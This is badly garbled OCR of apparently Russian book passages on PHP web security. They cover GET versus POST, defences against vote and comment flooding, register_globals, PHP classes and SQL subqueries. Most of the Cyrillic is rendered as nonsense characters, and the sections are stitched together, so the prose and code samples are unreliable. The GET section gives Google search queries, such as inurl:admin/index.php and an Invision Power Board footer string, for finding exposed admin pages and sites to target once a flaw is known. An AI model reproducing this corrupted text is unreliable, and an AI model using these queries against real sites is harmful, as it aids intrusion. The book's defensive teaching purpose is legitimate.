3necs napawerp searchfor — Ka pas TeKer, KoTOpsi nonb3BaTes Gyser Hekats. He
MerosayiTe FOST Ha CTPANMUAX MOWCKa, IOTOMY “TO 31O HeyZo0Wo. Jlyuume, Koraa
TIOTH30BATET MOXET ONATH K€ CAETATS SAKTATKY Ha CTPAHHLLY C PE3YKTATANH MIOHCKA.

B OBIIMX CAOBX, GET HYAHO HCTIOTH30BATS, KOTZA MOTB30BATE TOTKEH HMET BO3-
NOKHOGTS HANPAMYI0 OGPATHTLCA K CTPAHHLE Ge3 MPEIBAPHTETLHOTO BBOTA MAPAMETPOB.
B OTACTBHOM (GopMe, @ TAOKE NH HEOGXOIMMOCTH MEPCORATHIHPOBATS KAKHE-TO
nassie.

MO GET HACTO HCTIOTS3YETEA B NapTHEPCKHX Mporpavax. JIOMyCTHM, 4T B 3apern-
CTPHPOBATHCH B KAHECTBE NIAPTHEDS MATA3HHA WWW.AIIAZOD.COM H IOTKHSI IOTYNaTS
TIPOUEHTSS OT 38KAI0B TOBAPOB, CAETAHMX 110 CCHIKE © BaIEr0 Calfra. Kak Marasm
YOAET, 4TO MOKYIATE b MPHLIES HMEHHO 10 BauieH cebLTke? Canbif IPOCTOR Croco —
paswecTHTh Ha choew calfre cchuTKy Wa Amazon, B KOTOPOH MPHCYTCTBYET nNapameTp
B GopwaTe GET, WICHTHGWUMDYIOUI BC, HATDHMED: WWW.amazon.com
flenov. B cuieHapwh Ha cepeepe AMAZOD.COM MPOBEPACTCA, CONEPANT M NapaMETp
Partner WMA JPETHCTPHPOBAHHOTO NapTHepa. ECTH 11, TO HYAHO OTHCIATS Ha €10
CHT MPOUEHT OT 3AKAAHHHX TOBAPOB. OGPATHTE BHHMAHWE: STO BCEFO THITG IPME,
KOTOPbIi HHKAK He CBRAH C DEQTSHbIM NOTOKCHHEN 1€ B paGoTe C NApTHEPAMH Ha
cafre amazon.com.

Uew eme crpauis: sanpoc: GEr? [TpoSiena KPOETCA B MOMCKOBBIX CHETEMAX, 0cOBCHHO
B MoUHOCTH NowcKoBOf cHeTeMs! Google.com

JIOMyCTHM, B Y3HATH, STO B KaKO-TIHGO CHCTEMe YTIPABTEHHA CafTOM ORBHAACh Y3~
BocTs. U0 970 3 CHTEMa? CYUIECTRYET MHOKECTBO ITATHSX H GECTTATHX roTo-
BB porpav, HanwcanHeix a PHP, Perl i pyrinx sssikax H MO3BOTAIONINX COMIaT
GaifT Ge3 0coGkIX YCHTHH. TaKHE CHCTEMB! MOTYT BKTIOHATS B Ce0R TOTOBHE PEATH3LIN
$OpYNOB, rocTeBLIX Kiwr, MewT HoBocrel 1 T. 1. Hanpvep, phpbb wn wordpress,
KoTopsie osens pacnpocTpanest b Hireprere.

i B KaKoFi-HHOYb W3 TAKIX CTIEUMATSHbIX IDOTPAMM HaIEH KPHTHYECKAS YA3BH-
MOCTE W 0 Hell Y3HATH XaKepH, TO Bee calfTsi B HHTEpHETe, HCOTH3YIOUINE STOT Koz,
ROBEpraioTes ONacHOCTH. BOTHUIMHCTEO IMHHIHCTPATOPOB He MOXTHCAHSI Ha HOBOCTH
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2. Tlpw MpwHATHH COOGUIEHHS OT NOTHIOBATEN HEOGXOTHMO YAMTHTS W3 Gashi boe
IP-axpeca, Bpews XPAHEHHS KOTOPUIX TIPCBHILIACT ONPESETCHHOE KOTHECTBO MHHYT
Haue BGero T0CTATONHO 1BYX MHHYT.

3. Teneps nposepaen, ocrarcs au IP-axpec 5 Gase xammeiX. ECTH 1a, o He 00paGaThi-
Baew nonyueHHoe coodiehHe, a BhuiacM coobuienwe Thna "Hemsas ocTanneTs Aba
COOGULeHHS B TedeHHE JBYX MHHYT".

HEAOCTaTOK METOR 5aKTIOSGETCA B TOM, STO O TIOTESEH TOTKO Ha MATOTIOCEUIAEMHX
calfrax. Ec caift aKTHBHO TIOCEIIAEM H HITEPECEH XaKEPY, TO O HAWLICT TPOTPaNY,
KOTOpas BT Hepe3 onpezeieHHbie MPOMEKY Tk 3a0pacHBaTS ba clieHapiis TyAOM.
'BTOpO/i HEZOCTATOK — OYeHb MHOTO OTS3OBATENEH CKPHITH 33 MPOKCH-CEPBEPANH, 1
BCE OHM BITHBL B CeTH 110 ORHMM ¥ Teb e IP-axpecow. Hanpwwep, cori noms3osae-
el 01HOTO MpoBaliZepa NOKAKYTCA Takofi 3aUBITE oAWAM Momk30BaTerew. EcTi Kk1o-T0
3 HUX OCTABHT COOGILIEHHE M “3aCBETHTCA" B Ga3€ JBHHBIX, TO B TEHCHHE BEMEHH 3
AT OT QUTY1a HH OIWH W3 TIOT30BATEAEH ITOTO MPOBAIEPA HE CHOXET OCTABHTS CO-
obuerne.

Ha MOH BIr1A1, HWTYSLLIHM METOZIOM SAUUTH OT HAKPYTKH GYAET HCTIOTH0BANHE TeCTa
CAPTCHA. OG 5Tom M Gy e roBopHTs b paso. 3.13.

3.12.2. 3awmra OT HaKPYTKU rONOCOBAHUM

D2 MOKET HCTIOL3OBATECA M L1 HAKPYTOK FOTOCOBAHHS. 3TOYMBIULTEHHHK OTIAET
‘CBOi 110G 32 OMH  TOT e BAPHAHT OTHETA HECKOTHKO Pa3, CIEAaB FO/IOCOBAIME He-
oBveKTHBHEM.

Tlepnoe, 0 MpIXOHT B FOTOBY 1% SAUATH O (1Y, — COXPAHHTS Ha ZMEKE TIOTKI0-
Barens i cookie, b KOTOPOM GYET IPHCYTCTROBATS NIapaveTp, ykasbibasouuili Ha To,
TO NOA30BATEITS YKe MPOrOAOCOBA,

Jlecss ner wasan cheTewa ronocoparus Ha www.download.com He HMeTa aGcoTOTHO
"HMKaKOH 3QLIHTH OT (YA, # MOXHO GBLIO BOCTIOTE30BATECA MPOCTEHIM CTIOCOGOM
GHICTPOTO KTHKa: Bt 34XOIHTe Ha CaiT, BHGHPAETE HyKHT| BAPHAHT OTBETa H HasHHaC-
e GHICTpO WeKaTh Ha Kionke OTAPABHTE.

Jlomycrinw, Bst uerionksyeTe npocTyio Tenedontyio Mo, Toraa 471s OTpasks Batero
OTBeTa W nonyeHwS MOXTBEpAKIEHH (1. €. cookie-paiina) HYAHO BpeMS. ECTH B MOEHT
TepeChTKI 0Ty e NaKETa NOBTOPHO HKaTS KoMKy OTHPABHTS, To MpEAYIAN
TIOCHLTKG Ha KIHERTCKOM CTOPOHE CHHTAETCA HE3aBEpUIEHOM W OTMEHAETCA, 1 HTAHACT
paGoTaTs HoB ceanc oBwena nanmbivm. Koria Ha NEpByIo oTIpaBky AT NOXTBep-
IeHHE CEpBEPa H NPOCHGA HIMERNTS daila cookie, 3anpoc GYAET OTKIONeH Hy-3a He-
connaer ceancon.

C1e10BATEITSHO, €CTH GHCTPO IEAKATS Ha KHOMKe OTHPABHTS, TO GYIYT OTIPABIATECA
NAKETSI C BALIMMH BADHHTANM OTBETA, a CEpBEp WX 00PABOTAET 1 AOGABHT NOTyEHHHE
1071060 (T. €. BWIOAHATCA Wark | #2). A BOT Balll KOMbIOTEp CTAHET OTKIOHSTS 01~
ToepACHM, W TPETH War GyIET MPOMYCKAThCA, MOKA He MPOWIOFIET OIHO 13 Cre-
yiounx coGmHii:
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Mol calfT Hacrpoen TaK, 40 KopeHs ero Haxomcs B manke /Users/michaelflenov/
Projects/Web/phpbook (cx paso. 1.2). UroGet 3arpysuTs Tectomsiit baiir, & CoxpamHT
K01 B aiin ¢ unenem testphp B nanxe /Users/michaelflenov/Projects/Web/phpbook/
chapter]

Teneps, ecan eecw B anpectioli crpoke Gpaysepa URL hitp:/phpbook/chapterl/
test.php, Web-cepaep erommir PHP-KolL, pacrionoxeHHsiii MAJTy Terawi <zphp i 2>,
W Bo3BpaTHT Gpaysepy ye 0GpaGoTanHsili KoI.

JlanafiTe mocwoTpHM Ha HEXOMHBH KOA CTpaKMLS b Gpaysepe. L% SToro BHGEpHTE Me-
110 Bux | B suae HTML (View | Source), XOTs MEHIO MOKET OTAMYATLCA B SABHCHMO-
T# o Gpaysepa. TIepen BawH OTKPOTCH OKHO TEKCTOBOTO PEAGKTOPA, B KOTOpOM GyzeT
cOnepAATLCS NpHMEPHO CemyRouuHH KOT:

wma>
<EAD>
<TITLE> Test page </TITLE>
</wEAD>

<aopt>
<potiello. We are glad to see you again
<pCurrent tire 15-12-15 07:03:45
</z000>

<ma>

Kax murre, nukasx PHP-scTpyKuail Gonsiie Her. Bce OWi HCHexh. 70 Catsaino
 Tew, 4O cephep 0GPAGOTAN HAIH KOMAHIS! H NIEPEAAT MoNb30BATEMO WHCTHH HTML-
KOJL, HIH MOXHO CKETS, 'O TIOTH30BATE BHINT TOEKO PESYTSTAT PAGOTH CUEHAPHS.
Korna momwsopatens sanpaumpact CTpamuuy, cephep oGpaGaThbact bce PHP-
WHCTPYKUMH Ha 5TOM CTPAHHLIE W BO3BPAUIGET TOTEKO PE3YTAT OGPAGOTKM Ha FHCTOM
HTML.

Tawan o6pasow, wsi covzaem npoctyto HTML-cTpanuy, B KoTopoit npreyTeTayer Kot
PHP. B nexoTopsix sssikax, cxomx no wasnasenmio ¢ PHP (wanpiwep, Perl), mpokexo-
T GpatHoe. Taw Bbi THIIETE KOX MPOrpavs, & 414 A0GanneHkA HTML-TEros yxio
nhcars creunansHbie WeTpyKun, B PHP boswoxsibi 06a criocoBa.

M Gyzem wHoro werionisosats sctoro PHP-koza swecte ¢ HTML, HO 118 peanisnix
NpoeKTOB 370 Bce e HeKEnaTeTbHo. Menonsembiit kox (PHP) Iomkeh Ghh Makch-
NasHo orzenen ot npecramnenua (HTML). 310 yoGHee  dpbexTsree ¢ TouKH 3pe-
HHA COMPOBOAICHHA. IO GOTHIIAR W HHTEPECHS TeMa, K el Mo GYeM HEOTHOKPATHO
BowBpaATICS.

Stavix PHP SB15€TCA HITEPDETHPYEMBI. TO THAUHT, HTO €10 He HAT0 KOMITHTHPOBATS
B TPOPaMIMY (XOTS MOHO H OTKOITHAHPOBATS), a BHITOTHEHHE TIPOHCXOHAT "Ha 7€y
10 0YeHs YIOGHO, HO HHOTA NOKET PHBOIHTS K HITIEPXKAM, TIOTOMY SO HHTEpIIpE-
AL TEKCTA B MaHHHbH KOX OTHAMGET TIpOUECCOpHOe Bpens. Hiepnperarop PHP
YMEET KOMITHIHPOBATS "Ha 7Ty BO BpENS epBOTO “TeHMA $aiia OH HHTEPIpETHPYET-
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CTPAUIAA TIOGATHHEX NEPEMEHHBIX OTKIIOUEHA, TO XAKEp He CMOKET NOBTHNT Ha
$vaid. Ho JKe €CTH Bbl TIOTH3YETECh STHMH MACCHBaNH, XOPOUIHM TOHOM GYeT Bce-
110 3Q1ABATH TIEPEMEHHBIM SHATEHHE 110 YWOTHAHHIO 110 HX HCTIOTb30BIHI:
svalid = false;
if (isset (Susernane) ¢4 Suseznane !
Svalid = trues
)
it (svalid) {

Onacist Koa
)

.

JIHAH0 % He HEnOTEIYHO TIOGATEHBIE TIEpeMERHBE, HO He W3-3a coOGpaxeHHi Gesonac-
HOCTH, & MOTOMY T % OCTO He M0G0 FAOGATbHBIC MepemenTbe.

Tereps rIOTOBOPHM TIOZPOGHEE O METORAX TEPEnatH NaPaveTpoB. Kak Mt yie siaey,
X 28a: GET 1 20ST. B OGOX CTYMasX HHTEpIPETATOP CO3IACT MEPEMEHHHIE ¢ TAKIMH e
HMEHAMH, HO PAVIHYHS B METOTAX €CTh.

2.12.3. Meton 6ET

HauHen ¢ eroza GET. Boe NapaveTphi, KOTOpHIE TIEPEAHOTEA CLLEHAPHIO, TIONEUAIOTEA
B FA0GaTBHBIE NepeMenHbie (cH nowmonseT HacTpofika). IowHMO 9TOro, oMM Movea-
tores » macen 5_Ge. Ho n 910 eme He bee. T10T30BaTEINs MOAET BHACTS NGpaMETPH!
8 crpoxe URL-apeca. Tak, nociie BHTIOAHENHA NPHMEpa C repeaschi WMeHH i napos
URL-azpec wowemmes Ha:
hitp://192.168.77.1/param.php?UserName=Flenov&Password=qwerty

Tlocse azpeca WIET CHMBOT BOTIPOCA, @ 33 N TEPEUHCIAIOTCA NApAMCTPH B BILIE
saueeanauersre. TIQPAMETPb PEIETEHS MEXAY COBO AMTIEPCAHION (5).

KaK 51 ZyMaete, ABTAETCS 7 5TOT MeToA Gesonacean? Xakepy Gy et A0CTaTouHo fer-
KO M3MEHMTH 100OH NIZPAMETP BPYIHYIO H TIOTOGPATS €10 TKE Ge3 HIMEHEHHS HEXOT-
HOTO KOA POPMET /UTA OTTIPABKH NAPANETPOB. BAPHAHT ¢ FOST-3ATOAMH HE CHTBHO
JCTORIAET AU, HO MHE KIKETCA, 4TO GET Mpole.

Bropas npoGiema TAKOTO METOLa — OTKPHTOCTS. CHOBA PACCMOTPHM MPHED © Mapo-
new. ECIIH MO30BATEITs BBEII NGPOT W BOLIEIT B SALHUEHKYIO 001ACTS CalTa, T0 ITOT.
napos Gyt HaxomwTscA B crpoke URL. J0G0 MpoXOAuii MHMO HET0BEK CMOeT
653 TpYa YBHAETS 3Ty CTPOKY  NIapOJIh, OF GYET COXPAHEH B AYPHATAX H BESE Gy IeT
nepeaanaThes B coBeplCHHO OTKpHTOM BHIE. BT oTa MpOGea BTAETCR Goee BK-
Hoi,

HiHKOT1a e riepeapaiie BKHbE JaHHHIE METOTOM GET, B STOM CTyHae 4l Heriob-
30BaTs, MeTon £os7. Ho 910 He SHANHT, HTO MeToA GE Gecrionesen.

B KAKHX CYHAX HYAHO HCTIOTH3OBATS METOR GET7

00 Ecan napaverpss waesmumumpyior crpaniy.

0 ECH 1aHHBIX HEMHOFo, RIoToMy 1o cTpoKa URL e Geckoneia.
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W e 0GHOBAIOT (aliTsl CUEHAPHER Ha CepBEpe, MOJTOMY OCTAETEA TOTBKO HAHTH Hyx-
il CAliT  BOCTIOIORATECA TOTOBBIM PEIEHHEN JUTA OCYIIIECTRTEHHS BUIONA.

KK waifTh CaliTbl Wi (OpyYMsi, KOTOHIE COTEPAGT yA3BuMoCTS? Ot pocTo. Hattte
Bcero cuenapii epTbt MORHO onpeaeiTs o URL-azpecy. Hanpiwep, koraa sst
TpoCMATpHBACTE Ha cafiTe WWW.Siename.ru paien (GOpyMa, HEMOTb3YIOUIETO B Kavie-
cTBe zmwKKa Invision Power Board, To CTPOKa a1peca BHIIATHT TaK:
hitp:/www.sitename.r
TeKeT index. php?shouforun= GYIET BCTPESATLGA Ha TIOGOM CaliTe, HCMOALIYIOULEM 1A
‘popywa Invision Power Board. UroGs: maifm cafirsi, conepaatnye » URL xawi Tekcr,
HYKHO BUTIOTHHTS B HoHcKoBOf cHeTeme Google caemytouui 3anpoc:

inuzl  index. php?shontorum

index. php?showforum=4.

CyuiecTayIoT 1 ApyrHe BHAKW, KOTOpIE HCTIOTB3YIOT 2TOT Tekcr. Urob oGpocHTs
X, HYAHO etlie A0GABHTS TIOHCK KGKOTO-HHOYAb BparmenTa w3 crpatiu. Hanpiwep, 10
YMOIMNIO BHIY KKIOH CTPaRWUS Gopywa ecth moankcs "Powered by Invision
Power Board(U)". KoeuHo e, QIMHHHCTPATOP BOAEH HIMEHHTS KAZITACS, HO B GO~
wmeTBe cayac ee e Tporator. TlonpoGyiiTe BbmOMMITS CaeayIoMUAH 3aMpoc:

Pouered by Invision Power Board(U) inu

ndex. php2shonforun

Bt ysure Gonee 150 Thican caitTos, peaniosanhbix Ha 3Tow Amiokke, Teneps ecrn
nosBHTCA yasBHMOCTS B Invision Power BOard, To B JIETKo HARIETE KepTaY [t HCTlbi-
TaHMA YHIBHMOCTH. JTATEKO He BCE AIMHHHCTPATOPH YCTIEIOT THKBHIWPORATS OUIHOK'H,
 HEKOTOpHIE BOOGIIE He GY YT WX HCMpABAATS.

TonpoSyitre sanyerums nowck “inurl:admin/index. php", W mbi naiizere cTonBKo HiTe-
PECHOTO, TO K ZyX 3axpaThiBaeT. TaKHE CCHTKH OYEHD HACTO WCTIOTBAYIOTCA A
YTpaBTCHIA ew-THGO Ha caifre. OBTHBIC AAMMHHCTPATODH! JAUMAIOT WX TapOTANH,
, KOHEAHO, GOTBUIMHCTBO M3 ITHX CCHUIOK GYIYT HEAOCTYIIHS, HO OTKPHITHIE CCHUIKIH
NOTYT IO3BOTHTS YHHHTOXHTS CaliT MIOTHOCTEIO, W OWH BCTPEHAIOTCA 10 CHX 0P, XOTA 1
peo.

M Bce Ke, METOR GET HEOGXomMM. BOTHUIMHCTBO CaiiToB COCTONT He Goree e 3
10 aiion cueHaphen, KOTOpH OTOGPEARIOT ZAHHHIE Ha CTPAHHILE B JABHCHMOCTH O
BwiG0pa noabsoratens. Hanpiwep, sarastes Ha pce 101 e URL hopywa:

Bitpi/iwww.

B 2AHHOM CAYHa€ BHIMIBAETCR ClieapH index.php, a B KaSECTRE NAPANETPa NepenaeTcH
showforun W SHC70 4. JUKe He SHAA HCXOTHOTO KOTA CLLEHAPHA, MOXHO JOTATATECA, 40
(alin cueHapns IOTKEH NOKAYATh Ha CTPaNMLE (GOPYM, KOTOpBIi WACHTHQHLMPOBAH
B Ga3€ AQHHESX TIOZ HOMEPOM 4. B SABHCHNOCTH OT HOMEPA (OpYM CTPaHHUA Gy 1eT -
FAAETh NO-pasKoNy.

A Tenleps MPECTABHV, TO HOMEp (OPYMa GYIET MEpEIaBaTLCA © MOMOIIHIO METOTa
2057, B 70w crysac, kakyio Gbl crpanwuy hopywa B i npocwarpisany, URL Gyzer
BHTIALETS OAMHAKOBO:

btp://www.sitename.ru/index.php

ename.ru/index.php?showforum:
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O ecn bt mpexpaTHTE GHCTPO WETKATS Ha KHOKe OTIPABKH OTBETa, TO Gpayep MpH-
MeT (aiin cookie, TOTYHEHHBI B Pe3Y.ITATE NIOCAETHERO WENKa, H COXPAHHT €ro;

O €c MEACTY WETIKAMH Ha KHOTIKE OTIIDARKH cepBep 00pAGOTA 3ATPOC, & BAI KOM-
MLOTEp Yeren THHATS NOITBEpAACHHE, TO Bain GYIET COVIaN, H AaTsHeRuHE
LIETIKH CTaHYT HEBOIMOKHBINK.

Ha BBACTEHHBIX THHWAX C GOTBIIOH CKOPOCTSIO MOTKTIONCHILA OGMCH MIKETaMM PO

XOIHT GHCTPO, H MOXHO HE YCTIETh IEAKHYTh B OYEPEAHOM a3, a 3HawHT, Gaiin cooki

Gyzer cosaan. UToG OCTABHTS HOBOE COOGUICHNE, MPHIETCA YTHTE (Galii 1 TOALKO

TIOCE STOrO NOBTOPHTS NOTIITKY. TO OTHHMACT CAHLIKOM MHOTO BPEMEHH, H TaKof

HAKPYTKOM M&TO KTO SAHHMAETCA. A CCITH Ha CEpBEpE €llle H COXpaAeTCa IP-azpec npo-

FOJIOCOBIBLINX OTKIOBATENEH, TO XAKEPS BOODULE HE GYZYT CBATHIBATECA C TakiM Cali-

Tou.

BapHaHTOB HAKDYTKH CLEHODHCB TONOCOBAHHA MHOTO, W MBI PACCMOTPETH TOTBKO
‘o — camli MPOCTOMi. Bot MOXETE TIOSHAKOMHTECA H C IpYTHMH BAPHAHTAMH B Kitre
“Kownbiorep rasami xakepa® [3]. Hawa e 5a1a — pacewotpets xpdexrnonbii
METOM JALHTH OT HAKPYTKH.

JLaa 38UHTH OT BOHHORO TOTOCOBIHHS Mbi OIATS A& MOKEM CoxparaTs IP-azpeca mpo-
FOIOCOBGBIINX B Gase AQHIKIX CEPBEPA. ITH AIPECa IOTKIH XPAHHTLCH, TIOKa HE Chie-
HITeR onpoc. B 3TOM cTyae ¢ O1HOTO IP-1peca HHKOTAA HeE3 GYIET NPOrOI0cORaTS
presen

OmHAKO 37O He HASHT, “TO OMpEENEHHSH TOTH3OBATETS HE CMOKET MPOTOTOCORATH
ABaRas, Mt TIPHBASATHCE K GAPECY, & HE K MOA3OBATENO. XaKep MOKET NOTKIIOHHT-
€ Hepe aHOHMMHBI MPOKCH-CEPBCP H CHOBA MIPOFOTIOCOBATS, MOTOMY “TO BAII CHEHa-
puii youauT [P-anpec npokeH, @ He Xakepa. HO MHOTO /iu MOKHO HATH GHOWHMHbX
IPOKCH? S| AYMAI0, HTO HET, TIOSTOMY CHIThHO MOBTHATS Ha XOI F07I0COBAHHA HE YACTES.
A €GM KTO-TO YiKe MPOrO1060RaA HePe3 MIPOKCH, TO XaKep HE CMOAET ITOFO CATATS.
BOSMTACA ¢ NPOKCH-CePACPaMH XAKEDH He TIOGAT, TIOTOMY 470 SdbdexT Mpmmvazer, a
BOT UTA FO/IOCOBAHHA TaKi JAUNTA SBTAETCH MiHyCOM. B HiTeprere ouehh MHoro
GonuuX cerell, KOTOpHe CBRSNE C BHEUIHM NWPOM Hepe3 mpoxcw- win NAT-
cepaepsi. B TOM CiyWae BCe MOTHAOBATENH BHANS! #) HINTEPHETA C OTHIM 1 Tew Ke
IP-a1pecow, H 3T0 CO3IAET cephenmBie MPOGTEMs 414 32T cueHapwes. JlocTaTouHo
‘OHOMY NO30BATENHO OTAATH CBOH FOTOC, H BCE OCTATBHBIE YK€ JTOFO CAETATh He Cho-
ryT. TlonTysaeTcs, 4T TAKYHO JAIATY HEAb3A HA3BATS HPEKTHBHON.

Bonee ynauwsin pewenten Gyzer coxpanente b Gase aamnsix [P-azpeca TOTEKo Ha ol-
PEAEIEHHOE BpEMA, Kak W NPH 3aUIHTE O 1y 1a. B 5TOM CTyae Bee NO30BATENH MO~
IYT TPOTONOGOBATS, FABHOE, OGS OM TOTOCOBATH He OAHOBPENENHO. Bipotew, 1
XaKEp CMOKET Hepes OpEIETEHHBIE NPOMEAXYTKH BPEMEHH OCTABIATS CBOM o7oc.
'BOTBMHCTRO CalfToB TOCTEAHEE BPENS CTATO PAIPEWIATS OTOCORIHHE TOTHKO 3APErH-
CTPHPOBAHHBIM TIOTH30BATENAM. ITO HIHAYATSHO OTPAHHNHBAET KPYT MOZeH, KOTOpHIE
MOTYT BHIPASHT GBOE MHEHHE, HO 34TO COVIAET Gortee XpdeKTHBIYIO 3aUHTy 0T By
Orpasseke kpyra TOZei MPOHEXOTHT MOTOMY, HTO HE KAACIbIH 3AX0NET PEHCTPHPO-
BATLCA PAIH TOTO, 4TOGH OCTABHTH r0710C. HATDHMEP, # HEHABIKY PETHCTPHPOBATECS Ha
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106kt yaiAETs, KOrAa COVIAETCA CooTaETCTRyIOUH NApAMETp, AabaliTe Hamuew Gaila
param.php, KoTOpbii GyeT ConepaTs oMY W Ko7 0GpaGoTKH. Takinm OGPa3ON, iapa-
MeTpbi GYAYT epeAABaTBES TOMY € CUEHIPHIO, B KOTOPOM BBOTTCA Aanise. TTpiMep
TAKOTO CUEHAPHA MOXHO YBITETS B THCTHITe 2,13,

Tiucrwnr 213, TIpuuep CUSHAPWA NSPERa\M W Nomyewin napaueTpoR.

<neml>
<heac> </head>
<pody>

<fomm action="paran. php" methode"get">
Jo48 nonsaosarent: <input name="usernane’
</tom>

<
if (susemnane <> ") (
print ("<paase men nomsacsaren
print (susernane)
il

"

</ooty>
<ntml>

Ecan sarpysuTs 91y (opwy B Gpaysep, To mepemeas Susernane GyIeT myCTOR, noTOMY
TO eute He GBUTO MIEpEaUH NAPAMETPOB, # HHTEPIPETATOP HHYErO He cOYIABA. Ecin
BBECTH WA TIOTH30BATEA W HAXaTS Kasuly <Enter>, T0 Conepkinoe Jopwi Gyzet
TIEPESATPYAEHO, HO TETIEPD MIEPeMEHHaR Susername GYAET CONEPKATS BBEEHHOE NOTE0-
Baenen 1. Takiw OGPIION, MOKHO CAETATS IDOBEPKY: €CIH IEPEMERHAA He NyCTas,
O POpMA TOYHTA NAPAMETP, H MOHO €0 OGPAGATHEATS. B HaLleM MPHMEDE M TIpO-
7O BBIBOINM Ha SKpaH BBECHHOE M.

TIpoBepKa Ha NYCTYIO CTPOKY HE ABTAETCR XOPOUIMM TOHOM. Bl Besze yemwumTe, <o
T0 ILI0XO, W Y€ HCTIONG30BATS CIIEUHATEHYIO ByHKINIO is3et (). T1o Wage, KOX 207
ke Gban BwrnAACTS TK:
if (isset (Susemnane) |
print ("<paase men namsacearens:
print (Susernane) ;
)

"

51 e canaro cpawenhe ¢ yCTOR CTPOKOR TAOXHM ToHO. ECTH i AHCTOHTETSHO Xo-
THTE GIETATS MMEHHO 370, IPOCTO HYXHO TIOHMATS TIOGAEACTAHA TAKOTO CPABHEHHS
nouewy ok paboraer.

Eca momkTaTecs oGpaTHTECS K HecyIleCTByIomeH nepemenio, To PHP asTomarie-
KW G COVIACT CO SHANCHHEM 11O YMOTAHHIO B SABUCHMOCTH OT TEKYLIETO KOKTEKCTa,
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weaa 45 W 0, To NEpBoe GyzeT Gonbile, a IHASHT, PEsyTHTAT TOMKeH Gt GhiTh pasen
. Bbl JO/KHS! BCETIA TIOMHHTS 06 9TOH 0COBEHHOCTH

Eci dyHKLMW NepetaTS TMUIHHE GPryEHTSI, TO OHH GYIYT oTOpoLIEHsL. B AaHHOM
YA MPEYMPEAICHHE NOMCAET BaM OTPEAETHTS HeNpaBTsHbIA bbi30B. Bbi Z0TKHb
YOPATS TMUIHHE APANETPbI H BHACHHTS MPHIHHY OUWNMGKH. BOSMOXHO, STO Hapyuien
TIOpAI0K Nepeasi napaveTpor

TIOpATOK Mepenasih Oerh BaXeH, BeTh CTEAYIOUIME 188 BHI0B GYHKLUH print_max ()
RAIYT pasHuR pesysTaT:

print_max (10, 205

print_nax (20, 107

3ech MepenaioTes OTHM M Te K& WHCIZ, HO B NIEPBOM CTYMAE PEYTAT GYIET false
(RepBi NApaMeTp NeHbiLe BTOPOFo), & BO BTOPOM — true (nepabif napaveTp Gombiue
s10pOro).

2.9. Knaccur

D10 HoBax Tewa. B MPETBUIUIEN HIZAHHN % BCe MPHMEPH! MIPHEOTI B MAKCHMATSHO
TIPOCTOM B, NOSTOMY TPOCTO OMYCTIT BOMIPOC HCTIOTEIOBAHHS KIAGCOB. B STOM M-
MK MBI FOBOPHM He TO75K0 0 PHIP 1 GE30IGCHOCTH, HO H HEMHOTO O IDOEKTHPOBAHHH W
Gombu caifTax, a TyT Ges K1aCCOB AHTH MPOCTO HemoMoAHO. TIoSTOMY i MpHAETES
IOGBATHTS HECKOTHKO CTPaHHL.

Kiace — 570 OHGaHis WA cxewa 0GbeKTa. S1 H4CTO OGO MPHBOTHTE TPHMEDH Ma-
Bt W MO CErOaIA BO3MEM 32 OCHOBY ABTONPOM, MOKHO Zke "ABTOBAS", Ko-
TOPHIi BPOE Gbt Y1y MU KaHECTBO CBOeH MpOYKITH.
ECIH N0CMOTPETS Ha SBTOMOGIS, TO OH He EAMHOE MOHOAHTHOE Bepo, Aaxe "Jlana", a
CHOKHbIH MEXAHIIM H GOTBLIOTO KOTHUECTBA Y3108, Bbl MOXETE PaioOparh asTo Ha
Gonsume ys, a Gonunme yast Ha Gonee meakme cocransioume. TpocTo HascKaKy
MaLIWHA COCTONT W3 KYIOBA, ABHTATEN, KOPOGKH Mepezas, Koec, Carona w 7. 2. Kax-
Y10 M3 3THX COCTABISIOULIX MOAHO PAIOHTS elie Ha GOTlee MATCHEKHE HACTH.
Mekily STHMM COCTABTHIOUIIMM €CTD CBAH, \TOGH Bbi NOTAH YTPaRISTS OGOpOTaMH
ABHTaTEns, ABMTATEN MOT KPYTHTE KOOOKY MCPEAG, a T B CROIO OWEPES KOTEC.
'V KWKIOTO 3 HIX €CTh CBOH XaPAKTEPVCTHKH H BOSMOKHOCTH. B IPOrpaMMHpOBaHHI
910 HaswBaIOT caoiicmsat W Memodas.
C IIOMOIIBIO KAACCOB Mb! MOKEM COVIABIT OTHCAHHS PALTHIHBIX Y3108, JlomycTH, “T0
Haw HYXHO OMHCaTB KOpOOKY epeaat. JLTR STOO Ml MOXEM HATTHCATS *TO-TO THTa:
class Transnission (

private Ssteps = 5

private Sspeed = 0;

function _constructor (Sateps) (
Sthis->steps = Ssteps;
)
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TraBHOE 31ECh B TOM, 0 b CEKLUMH WHERE BHITOTHAETCA TIOZIANPOC. OH GYZET reHepH-
POBATLCA 118 KAKIOH CTPOKI B TAGTHUE th7erson, HTO MOKET OKATATHCS CAHUIKOM Ha-
KIQIIHBIM 15 CepBepa (OMIATS MIOTYACTCA WAKT).

JL1A TAKOTO MIPOCTOTO 3a7POCa, HABEPHO, YKE BCE COBPEMEHHE Ga3bl ZaHHEIX BHOSPYT
‘20CTaTOuHO OMTMMATHHIA Mian Bsonerws. Hanpuep, MS SQL Server mpexpacko
HAXOIHT OMTHANbHIT 1LTAH BIOHEHMS b Taxow cryuac. Ho eci sanpoc Gyzer Gonee
COAHbI, CBATIBATE HECKOTBKO TAGTHIL, HMCTS KAKHE-TO JONOTHHTEBHHIE MPOBEPKH,
70 TyT ONEHS HACTO AaKe AOCTATONHO YNl OnTHMISaTOp MS SQL Server Mosker zath
cephesiuii cGoi.

B TaKkHe MOMEHTSI 3 ZyMa0, STO TywliHe Gashi HHBIX — Te, KOTOPHIE He MOTYT pabo-
TATH C BIOKEHHHMH ATPOCANH, & TYHUIHE TPOTPAMMHCTH — Te, KOTOpHE He SHaIoT
0 CYIECTRORAHH NOTIANOCOB HIH TIPOCTO He YMEOT WH NOTHIORATHCS. B ITOM Ciy-
A€ IPOTPAMMHCT HanvIeT 163 3anpoca. Tlepwiil Gyer noysaTs cTatyc:

SELECT (Key1]

£ROM thstatus

WHERE. sName="Pacoraer’

A BTOpOH 3aIpOC Gy 1ET HETIOABIOBATS €10 1A BHGOPKH PAGOTHHKOY:
sezcr +

FROM thPerson p
WAERE p. idstatus

lomyenagh Crazyc
“Takofi 3anpoc GYAET BHINOTHATLES Ha CepBEpe 6e3 LK.
Teneps MOCMOTPHN, Kak MOAHO BHHECTH 3aTpoc SELECT B CEKIIAIO FRO. ITO MOKHO
cnenars caexyioun 0GpasoN:
sewct
FRow theerson p,

(SELECT (Keyl] FRQM tbStatus WHERE stiame
WHERE p. idStatus=s. Keyl

